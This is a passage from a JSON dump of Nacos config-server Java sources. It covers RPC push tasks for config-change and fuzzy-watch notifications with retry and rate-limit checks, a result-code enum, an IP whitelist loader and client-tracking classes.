notifyRequest;\n    \n    final ConnectionManager connectionManager;\n    \n    final RpcPushService rpcPushService;\n    \n    int maxRetryTimes;\n    \n    int tryTimes = 0;\n    \n    String connectionId;\n    \n    /**\n     * Constructs a RpcPushTask with the specified parameters.\n     *\n     * @param notifyRequest The notification request to be sent.\n     * @param maxRetryTimes The maximum number of retry times.\n     * @param connectionId  The ID of the connection.\n     */\n    public FuzzyWatchChangeNotifyTask(ConnectionManager connectionManager, RpcPushService rpcPushService,\n            ConfigFuzzyWatchChangeNotifyRequest notifyRequest, int maxRetryTimes, String connectionId) {\n        this.connectionManager = connectionManager;\n        this.rpcPushService = rpcPushService;\n        this.notifyRequest = notifyRequest;\n        this.maxRetryTimes = maxRetryTimes;\n        this.connectionId = connectionId;\n    }\n    \n    /**\n     * Checks if the number of retry times exceeds the maximum limit.\n     *\n     * @return {@code true} if the number of retry times exceeds the maximum limit; otherwise, {@code false}.\n     */\n    public boolean isOverTimes() {\n        return maxRetryTimes > 0 && this.tryTimes >= maxRetryTimes;\n    }\n    \n    @Override\n    public void run() {\n        \n        if (isOverTimes()) {\n            Loggers.REMOTE_PUSH.warn(\n                    \"push callback retry fail over times.groupKey={},,clientId={}, will unregister client.\",\n                    notifyRequest.getGroupKey(), connectionId);\n            connectionManager.unregister(connectionId);\n        } else if (connectionManager.getConnection(connectionId) == null) {\n            // Client is already offline, ignore the task.\n            Loggers.REMOTE_PUSH.warn(\n                    \"Client is already offline, ignore the task. dataId={},groupKey={},tenant={},clientId={}\",\n                    notifyRequest.getGroupKey(), connectionId);\n            return;\n        }\n        \n        TpsCheckRequest tpsCheckRequest = new TpsCheckRequest();\n        tpsCheckRequest.setPointName(POINT_FUZZY_WATCH_CONFIG_PUSH);\n        if (!ControlManagerCenter.getInstance().getTpsControlManager().check(tpsCheckRequest).isSuccess()) {\n            scheduleSelf();\n        } else {\n            long timeout = ConfigCommonConfig.getInstance().getPushTimeout();\n            rpcPushService.pushWithCallback(connectionId, notifyRequest, new AbstractPushCallBack(timeout) {\n                @Override\n                public void onSuccess() {\n                    TpsCheckRequest tpsCheckRequest = new TpsCheckRequest();\n                    tpsCheckRequest.setPointName(POINT_FUZZY_WATCH_CONFIG_PUSH_SUCCESS);\n                    ControlManagerCenter.getInstance().getTpsControlManager().check(tpsCheckRequest);\n                }\n                \n                @Override\n                public void onFail(Throwable e) {\n                    TpsCheckRequest tpsCheckRequest = new TpsCheckRequest();\n                    tpsCheckRequest.setPointName(POINT_FUZZY_WATCH_CONFIG_PUSH_FAIL);\n                    ControlManagerCenter.getInstance().getTpsControlManager().check(tpsCheckRequest);\n                    Loggers.REMOTE_PUSH.warn(\"Push fail,  groupKey={},  clientId={}\", notifyRequest.getGroupKey(),\n                            connectionId, e);\n                    FuzzyWatchChangeNotifyTask.this.scheduleSelf();\n                }\n                \n            }, ConfigExecutor.getClientConfigNotifierServiceExecutor());\n        }\n    }\n    \n    void scheduleSelf() {\n        ConfigExecutor.scheduleClientConfigNotifier(this, tryTimes * 2L, TimeUnit.SECONDS);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/FuzzyWatchSyncNotifyCallback.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchSyncRequest;\nimport com.alibaba.nacos.api.remote.AbstractPushCallBack;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport com.alibaba.nacos.plugin.control.ControlManagerCenter;\nimport com.alibaba.nacos.plugin.control.tps.request.TpsCheckRequest;\n\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_INIT_NOTIFY;\n\n/**\n * Represents a callback for handling the result of an RPC push operation.\n *\n * @author stone-98\n */\nclass FuzzyWatchSyncNotifyCallback extends AbstractPushCallBack {\n    \n    /**\n     * The RpcPushTask associated with the callback.\n     */\n    FuzzyWatchSyncNotifyTask fuzzyWatchSyncNotifyTask;\n    \n    /**\n     * Constructs a new RpcPushCallback with the specified parameters.\n     *\n     * @param fuzzyWatchSyncNotifyTask The RpcPushTask associated with the callback\n     */\n    public FuzzyWatchSyncNotifyCallback(FuzzyWatchSyncNotifyTask fuzzyWatchSyncNotifyTask) {\n        super(3000L);\n        this.fuzzyWatchSyncNotifyTask = fuzzyWatchSyncNotifyTask;\n    }\n    \n    /**\n     * Handles the successful completion of the RPC push operation.\n     */\n    @Override\n    public void onSuccess() {\n        // Check TPS limits\n        TpsCheckRequest tpsCheckRequest = new TpsCheckRequest();\n        tpsCheckRequest.setPointName(FuzzyWatchSyncNotifyTask.CONFIG_FUZZY_WATCH_CONFIG_SYNC_SUCCESS);\n        ControlManagerCenter.getInstance().getTpsControlManager().check(tpsCheckRequest);\n        \n        if (fuzzyWatchSyncNotifyTask.batchTaskCounter != null) {\n            fuzzyWatchSyncNotifyTask.batchTaskCounter.batchSuccess(\n                    fuzzyWatchSyncNotifyTask.notifyRequest.getCurrentBatch());\n            if (fuzzyWatchSyncNotifyTask.batchTaskCounter.batchCompleted()\n                    && fuzzyWatchSyncNotifyTask.notifyRequest.getSyncType().equals(FUZZY_WATCH_INIT_NOTIFY)) {\n                ConfigFuzzyWatchSyncRequest request = ConfigFuzzyWatchSyncRequest.buildInitFinishRequest(\n                        fuzzyWatchSyncNotifyTask.notifyRequest.getGroupKeyPattern());\n                \n                // Create RPC push task and push the request to the client\n                FuzzyWatchSyncNotifyTask fuzzyWatchSyncNotifyTaskFinish = new FuzzyWatchSyncNotifyTask(\n                        fuzzyWatchSyncNotifyTask.connectionManager, fuzzyWatchSyncNotifyTask.rpcPushService, request,\n                        null, fuzzyWatchSyncNotifyTask.maxRetryTimes, fuzzyWatchSyncNotifyTask.connectionId);\n                fuzzyWatchSyncNotifyTaskFinish.scheduleSelf();\n            }\n        }\n    }\n    \n    /**\n     * Handles the failure of the RPC push operation.\n     *\n     * @param e The exception thrown during the operation\n     */\n    @Override\n    public void onFail(Throwable e) {\n        // Check TPS limits\n        TpsCheckRequest tpsCheckRequest = new TpsCheckRequest();\n        tpsCheckRequest.setPointName(FuzzyWatchSyncNotifyTask.CONFIG_FUZZY_WATCH_CONFIG_SYNC_FAIL);\n        ControlManagerCenter.getInstance().getTpsControlManager().check(tpsCheckRequest);\n        \n        // Log the failure and retry the task\n        Loggers.REMOTE_PUSH.warn(\"Push fail, groupKeyPattern={}, clientId={}\",\n                fuzzyWatchSyncNotifyTask.notifyRequest.getGroupKeyPattern(), fuzzyWatchSyncNotifyTask.connectionId, e);\n        fuzzyWatchSyncNotifyTask.scheduleSelf();\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/FuzzyWatchSyncNotifyTask.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchSyncRequest;\nimport com.alibaba.nacos.common.task.BatchTaskCounter;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.core.remote.RpcPushService;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport com.alibaba.nacos.plugin.control.ControlManagerCenter;\nimport com.alibaba.nacos.plugin.control.tps.request.TpsCheckRequest;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Represents a task for pushing FuzzyListenNotifyDiffRequest to clients.\n *\n * @author stone-98\n */\nclass FuzzyWatchSyncNotifyTask implements Runnable {\n    \n    static final String CONFIG_FUZZY_WATCH_CONFIG_SYNC = \"FUZZY_WATCH_CONFIG_SYNC_PUSH\";\n    \n    static final String CONFIG_FUZZY_WATCH_CONFIG_SYNC_SUCCESS = \"CONFIG_FUZZY_WATCH_CONFIG_SYNC_SUCCESS\";\n    \n    static final String CONFIG_FUZZY_WATCH_CONFIG_SYNC_FAIL = \"CONFIG_FUZZY_WATCH_CONFIG_SYNC_FAIL\";\n    \n    final ConnectionManager connectionManager;\n    \n    final RpcPushService rpcPushService;\n    \n    /**\n     * The FuzzyListenNotifyDiffRequest to be pushed.\n     */\n    ConfigFuzzyWatchSyncRequest notifyRequest;\n    \n    /**\n     * The maximum number of times to retry pushing the request.\n     */\n    int maxRetryTimes;\n    \n    /**\n     * The current number of attempts made to push the request.\n     */\n    int tryTimes = 0;\n    \n    /**\n     * The ID of the connection associated with the client.\n     */\n    String connectionId;\n    \n    BatchTaskCounter batchTaskCounter;\n    \n    /**\n     * Constructs a new RpcPushTask with the specified parameters.\n     *\n     * @param notifyRequest    The FuzzyListenNotifyDiffRequest to be pushed\n     * @param batchTaskCounter The batchTaskCounter counter for tracking the number of finished push batches\n     * @param maxRetryTimes    The maximum number of times to retry pushing the request\n     * @param connectionId     The ID of the connection associated with the client\n     */\n    public FuzzyWatchSyncNotifyTask(ConnectionManager connectionManager, RpcPushService rpcPushService,\n            ConfigFuzzyWatchSyncRequest notifyRequest, BatchTaskCounter batchTaskCounter, int maxRetryTimes,\n            String connectionId) {\n        this.connectionManager = connectionManager;\n        this.rpcPushService = rpcPushService;\n        this.notifyRequest = notifyRequest;\n        this.batchTaskCounter = batchTaskCounter;\n        this.maxRetryTimes = maxRetryTimes;\n        this.connectionId = connectionId;\n    }\n    \n    /**\n     * Checks if the maximum number of retry times has been reached.\n     *\n     * @return true if the maximum number of retry times has been reached, otherwise false\n     */\n    public boolean isOverTimes() {\n        return maxRetryTimes > 0 && this.tryTimes >= maxRetryTimes;\n    }\n    \n    /**\n     * Executes the task, attempting to push the request to the client.\n     */\n    @Override\n    public void run() {\n        \n        if (isOverTimes()) {\n            // If over the maximum retry times, log a warning and unregister the client connection\n            Loggers.REMOTE_PUSH.warn(\n                    \"Push callback retry failed over times. groupKeyPattern={}, clientId={}, will unregister client.\",\n                    notifyRequest.getGroupKeyPattern(), connectionId);\n            connectionManager.unregister(connectionId);\n        } else if (connectionManager.getConnection(connectionId) != null) {\n            tryTimes++;\n            TpsCheckRequest tpsCheckRequest = new TpsCheckRequest();\n            \n            tpsCheckRequest.setPointName(CONFIG_FUZZY_WATCH_CONFIG_SYNC);\n            if (!ControlManagerCenter.getInstance().getTpsControlManager().check(tpsCheckRequest).isSuccess()) {\n                scheduleSelf();\n            } else {\n                rpcPushService.pushWithCallback(connectionId, notifyRequest, new FuzzyWatchSyncNotifyCallback(this),\n                        ConfigExecutor.getClientConfigNotifierServiceExecutor());\n            }\n        }\n        \n    }\n    \n    void scheduleSelf() {\n        ConfigExecutor.scheduleClientConfigNotifier(this, tryTimes * 2L, TimeUnit.SECONDS);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/remote/RpcConfigChangeNotifier.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.remote;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigChangeNotifyRequest;\nimport com.alibaba.nacos.api.remote.AbstractPushCallBack;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.config.server.configuration.ConfigCommonConfig;\nimport com.alibaba.nacos.config.server.model.event.LocalDataChangeEvent;\nimport com.alibaba.nacos.config.server.utils.ConfigExecutor;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.core.remote.Connection;\nimport com.alibaba.nacos.core.remote.ConnectionManager;\nimport com.alibaba.nacos.core.remote.ConnectionMeta;\nimport com.alibaba.nacos.core.remote.RpcPushService;\nimport com.alibaba.nacos.core.utils.Loggers;\nimport com.alibaba.nacos.plugin.control.ControlManagerCenter;\nimport com.alibaba.nacos.plugin.control.tps.TpsControlManager;\nimport com.alibaba.nacos.plugin.control.tps.request.TpsCheckRequest;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * ConfigChangeNotifier.\n *\n * @author liuzunfei\n * @version $Id: ConfigChangeNotifier.java, v 0.1 2020年07月20日 3:00 PM liuzunfei Exp $\n */\n@Component(value = \"rpcConfigChangeNotifier\")\npublic class RpcConfigChangeNotifier extends Subscriber<LocalDataChangeEvent> {\n    \n    private static final String POINT_CONFIG_PUSH = \"CONFIG_PUSH_COUNT\";\n    \n    private static final String POINT_CONFIG_PUSH_SUCCESS = \"CONFIG_PUSH_SUCCESS\";\n    \n    private static final String POINT_CONFIG_PUSH_FAIL = \"CONFIG_PUSH_FAIL\";\n    \n    TpsControlManager tpsControlManager = ControlManagerCenter.getInstance().getTpsControlManager();\n    \n    public RpcConfigChangeNotifier() {\n        NotifyCenter.registerSubscriber(this);\n    }\n    \n    @PostConstruct\n    void registerTpsPoint() {\n        tpsControlManager.registerTpsPoint(POINT_CONFIG_PUSH);\n        tpsControlManager.registerTpsPoint(POINT_CONFIG_PUSH_SUCCESS);\n        tpsControlManager.registerTpsPoint(POINT_CONFIG_PUSH_FAIL);\n        \n    }\n    \n    @Autowired\n    ConfigChangeListenContext configChangeListenContext;\n    \n    @Autowired\n    private RpcPushService rpcPushService;\n    \n    @Autowired\n    private ConnectionManager connectionManager;\n    \n    /**\n     * adaptor to config module ,when server side config change ,invoke this method.\n     *\n     * @param groupKey groupKey\n     */\n    public void configDataChanged(String groupKey, String dataId, String group, String tenant) {\n        \n        Set<String> listeners = configChangeListenContext.getListeners(groupKey);\n        if (CollectionUtils.isEmpty(listeners)) {\n            return;\n        }\n        int notifyClientCount = 0;\n        for (final String client : listeners) {\n            Connection connection = connectionManager.getConnection(client);\n            if (connection == null) {\n                continue;\n            }\n            boolean ifNamespaceTransfer = configChangeListenContext.getConfigListenState(client, groupKey).isNamespaceTransfer();\n            if (ifNamespaceTransfer) {\n                tenant = null;\n            }\n            ConnectionMeta metaInfo = connection.getMetaInfo();\n            String clientIp = metaInfo.getClientIp();\n            \n            ConfigChangeNotifyRequest notifyRequest = ConfigChangeNotifyRequest.build(dataId, group, tenant);\n            \n            RpcPushTask rpcPushRetryTask = new RpcPushTask(notifyRequest,\n                    ConfigCommonConfig.getInstance().getMaxPushRetryTimes(), client, clientIp, metaInfo.getAppName());\n            push(rpcPushRetryTask, connectionManager);\n            notifyClientCount++;\n        }\n        Loggers.REMOTE_PUSH.info(\"push [{}] clients, groupKey=[{}]\", notifyClientCount, groupKey);\n    }\n    \n    @Override\n    public void onEvent(LocalDataChangeEvent event) {\n        String groupKey = event.groupKey;\n        \n        String[] strings = GroupKey.parseKey(groupKey);\n        String dataId = strings[0];\n        String group = strings[1];\n        String tenant = strings.length > 2 ? strings[2] : \"\";\n        \n        configDataChanged(groupKey, dataId, group, tenant);\n        \n    }\n    \n    @Override\n    public Class<? extends Event> subscribeType() {\n        return LocalDataChangeEvent.class;\n    }\n    \n    class RpcPushTask implements Runnable {\n        \n        ConfigChangeNotifyRequest notifyRequest;\n        \n        int maxRetryTimes = -1;\n        \n        int tryTimes = 0;\n        \n        String connectionId;\n        \n        String clientIp;\n        \n        String appName;\n        \n        public RpcPushTask(ConfigChangeNotifyRequest notifyRequest, int maxRetryTimes, String connectionId,\n                String clientIp, String appName) {\n            this.notifyRequest = notifyRequest;\n            this.maxRetryTimes = maxRetryTimes;\n            this.connectionId = connectionId;\n            this.clientIp = clientIp;\n            this.appName = appName;\n        }\n        \n        public boolean isOverTimes() {\n            return maxRetryTimes > 0 && this.tryTimes >= maxRetryTimes;\n        }\n        \n        public int getTryTimes() {\n            return tryTimes;\n        }\n        \n        public ConfigChangeNotifyRequest getNotifyRequest() {\n            return notifyRequest;\n        }\n        \n        public int getMaxRetryTimes() {\n            return maxRetryTimes;\n        }\n        \n        public String getClientIp() {\n            return clientIp;\n        }\n        \n        public String getAppName() {\n            return appName;\n        }\n        \n        public String getConnectionId() {\n            return connectionId;\n        }\n        \n        @Override\n        public void run() {\n            tryTimes++;\n            TpsCheckRequest tpsCheckRequest = new TpsCheckRequest();\n            \n            tpsCheckRequest.setPointName(POINT_CONFIG_PUSH);\n            if (!tpsControlManager.check(tpsCheckRequest).isSuccess()) {\n                push(this, connectionManager);\n            } else {\n                rpcPushService.pushWithCallback(connectionId, notifyRequest,\n                        new RpcPushCallback(this, tpsControlManager, connectionManager),\n                        ConfigExecutor.getClientConfigNotifierServiceExecutor());\n            }\n        }\n    }\n    \n    static class RpcPushCallback extends AbstractPushCallBack {\n        \n        RpcPushTask rpcPushTask;\n        \n        TpsControlManager tpsControlManager;\n        \n        ConnectionManager connectionManager;\n        \n        public RpcPushCallback(RpcPushTask rpcPushTask, TpsControlManager tpsControlManager,\n                ConnectionManager connectionManager) {\n            super(3000L);\n            this.rpcPushTask = rpcPushTask;\n            this.tpsControlManager = tpsControlManager;\n            this.connectionManager = connectionManager;\n        }\n        \n        @Override\n        public void onSuccess() {\n            TpsCheckRequest tpsCheckRequest = new TpsCheckRequest();\n            tpsCheckRequest.setPointName(POINT_CONFIG_PUSH_SUCCESS);\n            tpsControlManager.check(tpsCheckRequest);\n        }\n        \n        @Override\n        public void onFail(Throwable e) {\n            TpsCheckRequest tpsCheckRequest = new TpsCheckRequest();\n            tpsCheckRequest.setPointName(POINT_CONFIG_PUSH_FAIL);\n            tpsControlManager.check(tpsCheckRequest);\n            Loggers.REMOTE_PUSH.warn(\"Push fail, dataId={}, group={}, tenant={}, clientId={}\",\n                    rpcPushTask.getNotifyRequest().getDataId(), rpcPushTask.getNotifyRequest().getGroup(),\n                    rpcPushTask.getNotifyRequest().getTenant(), rpcPushTask.getConnectionId(), e);\n            push(rpcPushTask, connectionManager);\n        }\n    }\n    \n    private static void push(RpcPushTask retryTask, ConnectionManager connectionManager) {\n        ConfigChangeNotifyRequest notifyRequest = retryTask.getNotifyRequest();\n        if (retryTask.isOverTimes()) {\n            Loggers.REMOTE_PUSH.warn(\n                    \"push callback retry fail over times. dataId={},group={},tenant={},clientId={}, will unregister client.\",\n                    notifyRequest.getDataId(), notifyRequest.getGroup(), notifyRequest.getTenant(),\n                    retryTask.getConnectionId());\n            connectionManager.unregister(retryTask.getConnectionId());\n        } else if (connectionManager.getConnection(retryTask.getConnectionId()) != null) {\n            // first time:delay 0s; second time:delay 2s; third time:delay 4s\n            ConfigExecutor.scheduleClientConfigNotifier(retryTask, retryTask.getTryTimes() * 2, TimeUnit.SECONDS);\n        } else {\n            // client is already offline, ignore task.\n        }\n    }\n    \n}\n\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/result/code/ResultCodeEnum.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.result.code;\n\nimport com.alibaba.nacos.common.model.core.IResultCode;\n\n/**\n * ResultCodeEnum.\n *\n * @author klw\n * @ClassName: ResultCodeEnum\n * @Description: result code enum\n * @date 2019/6/28 14:43\n */\n@Deprecated\npublic enum ResultCodeEnum implements IResultCode {\n    \n    /**\n     * Common code.\n     **/\n    SUCCESS(200, \"处理成功\"),\n    ERROR(500, \"服务器内部错误\"),\n    \n    /**\n     * Config use 100001 ~ 100999.\n     **/\n    NAMESPACE_NOT_EXIST(100001, \"目标 namespace 不存在\"),\n    \n    METADATA_ILLEGAL(100002, \"导入的元数据非法\"),\n    \n    DATA_VALIDATION_FAILED(100003, \"未读取到合法数据\"),\n    \n    PARSING_DATA_FAILED(100004, \"解析数据失败\"),\n    \n    DATA_EMPTY(100005, \"导入的文件数据为空\"),\n    \n    NO_SELECTED_CONFIG(100006, \"没有选择任何配置\");\n    \n    private int code;\n    \n    private String msg;\n    \n    ResultCodeEnum(int code, String codeMsg) {\n        this.code = code;\n        this.msg = codeMsg;\n    }\n    \n    @Override\n    public int getCode() {\n        return code;\n    }\n    \n    @Override\n    public String getCodeMsg() {\n        return msg;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ClientIpWhiteList.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.model.AclInfo;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.springframework.stereotype.Service;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.atomic.AtomicReference;\n\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DEFAULT_LOG;\n\n/**\n * Client ip whitelist.\n *\n * @author Nacos\n */\n@Service\npublic class ClientIpWhiteList {\n\n    public static final String CLIENT_IP_WHITELIST_METADATA = \"com.alibaba.nacos.metadata.clientIpWhitelist\";\n\n    private static final AtomicReference<List<String>> CLIENT_IP_WHITELIST = new AtomicReference<>(\n            new ArrayList<>());\n\n    private static Boolean isOpen = false;\n    \n    /**\n     * Judge whether specified client ip includes in the whitelist.\n     *\n     * @param clientIp clientIp string value.\n     * @return Judge result.\n     */\n    public static boolean isLegalClient(String clientIp) {\n        if (StringUtils.isBlank(clientIp)) {\n            throw new IllegalArgumentException(\"clientIp is empty\");\n        }\n        clientIp = clientIp.trim();\n        \n        if (CLIENT_IP_WHITELIST.get().contains(clientIp)) {\n            return true;\n        }\n        return false;\n    }\n    \n    /**\n     * Whether start client ip whitelist.\n     *\n     * @return true: enable ; false disable\n     */\n    public static boolean isEnableWhitelist() {\n        return isOpen;\n    }\n    \n    /**\n     * Load white lists based content parameter value.\n     *\n     * @param content content string value.\n     */\n    public static void load(String content) {\n        if (StringUtils.isBlank(content)) {\n            DEFAULT_LOG.warn(\"clientIpWhiteList is blank.close whitelist.\");\n            isOpen = false;\n            CLIENT_IP_WHITELIST.get().clear();\n            return;\n        }\n        DEFAULT_LOG.warn(\"[clientIpWhiteList] {}\", content);\n        try {\n            AclInfo acl = JacksonUtils.toObj(content, AclInfo.class);\n            isOpen = acl.getIsOpen();\n            CLIENT_IP_WHITELIST.set(acl.getIps());\n        } catch (Exception ioe) {\n            DEFAULT_LOG.error(\"failed to load clientIpWhiteList, \" + ioe.toString(), ioe);\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ClientRecord.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\n/**\n * ClientRecord saves records which fetch from client-side.\n *\n * @author zongtanghu\n */\npublic class ClientRecord {\n    \n    private final String ip;\n    \n    private volatile long lastTime;\n    \n    private final ConcurrentMap<String, String> groupKey2md5Map;\n    \n    private final ConcurrentMap<String, Long> groupKey2pollingTsMap;\n    \n    public ClientRecord(final String clientIp) {\n        this.ip = clientIp;\n        this.groupKey2md5Map = new ConcurrentHashMap<>(20, 0.75f, 1);\n        this.groupKey2pollingTsMap = new ConcurrentHashMap<>(20, 0.75f, 1);\n    }\n    \n    public String getIp() {\n        return ip;\n    }\n    \n    public long getLastTime() {\n        return lastTime;\n    }\n    \n    public void setLastTime(long lastTime) {\n        this.lastTime = lastTime;\n    }\n    \n    public ConcurrentMap<String, String> getGroupKey2md5Map() {\n        return groupKey2md5Map;\n    }\n    \n    public ConcurrentMap<String, Long> getGroupKey2pollingTsMap() {\n        return groupKey2pollingTsMap;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ClientTrackService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.config.server.model.SubscriberStatus;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\n\n/**\n * ClientTrackService which tracks client's md5 service and delete expired ip's records.\n *\n * @author Nacos\n */\npublic class ClientTrackService {\n    \n    /**\n     * Put the specified value(ip/groupKey/clientMd5) into clientRecords Map.\n     *\n     * @param ip        ip string value.\n     * @param groupKey  groupKey string value.\n     * @param clientMd5 clientMd5 string value.\n     */\n    public static void trackClientMd5(String ip, String groupKey, String clientMd5) {\n        ClientRecord record = getClientRecord(ip);\n        record.setLastTime(System.currentTimeMillis());\n        record.getGroupKey2md5Map().put(groupKey, clientMd5);\n        record.getGroupKey2pollingTsMap().put(groupKey, record.getLastTime());\n    }\n    \n    /**\n     * Get subscribe client count.\n     *\n     * @return subscribe client count.\n     */\n    public static int subscribeClientCount() {\n        return clientRecords.size();\n    }\n    \n    /**\n     * Get all of subscriber count.\n     *\n     * @return all of subscriber count.\n     */\n    public static long subscriberCount() {\n        long count = 0;\n        for (ClientRecord record : clientRecords.values()) {\n            count += record.getGroupKey2md5Map().size();\n        }\n        return count;\n    }\n    \n    /**\n     * Groupkey ->  SubscriberStatus.\n     */\n    public static Map<String, SubscriberStatus> listSubStatus(String ip) {\n        Map<String, SubscriberStatus> status = new HashMap<>(100);\n\n        // record here is non-null\n        ClientRecord record = getClientRecord(ip);\n        for (Map.Entry<String, String> entry : record.getGroupKey2md5Map().entrySet()) {\n            String groupKey = entry.getKey();\n            String clientMd5 = entry.getValue();\n            long lastPollingTs = record.getGroupKey2pollingTsMap().get(groupKey);\n            boolean isUpdate = ConfigCacheService.isUptodate(groupKey, clientMd5);\n            \n            status.put(groupKey, new SubscriberStatus(groupKey, isUpdate, clientMd5, lastPollingTs));\n        }\n        \n        return status;\n    }\n  \n    /**\n     * Specify subscriber's ip and look up whether data is latest.\n     * groupKey -> isUptodate.\n     */\n    public static Map<String, Boolean> isClientUptodate(String ip) {\n        Map<String, Boolean> result = new HashMap<>(100);\n        for (Map.Entry<String, String> entry : getClientRecord(ip).getGroupKey2md5Map().entrySet()) {\n            String groupKey = entry.getKey();\n            String clientMd5 = entry.getValue();\n            Boolean isuptodate = ConfigCacheService.isUptodate(groupKey, clientMd5);\n            result.put(groupKey, isuptodate);\n        }\n        return result;\n    }\n    \n    /**\n     * Get and return the record of specified client ip.\n     *\n     * @param clientIp clientIp string value.\n     * @return the record of specified client ip.\n     */\n    private static ClientRecord getClientRecord(String clientIp) {\n        ClientRecord record = clientRecords.get(clientIp);\n        if (null != record) {\n            return record;\n        }\n        ClientRecord clientRecord = new ClientRecord(clientIp);\n        record = clientRecords.putIfAbsent(clientIp, clientRecord);\n        return null == record ? clientRecord : record;\n    }\n    \n    public static void refreshClientRecord() {\n        clientRecords = new 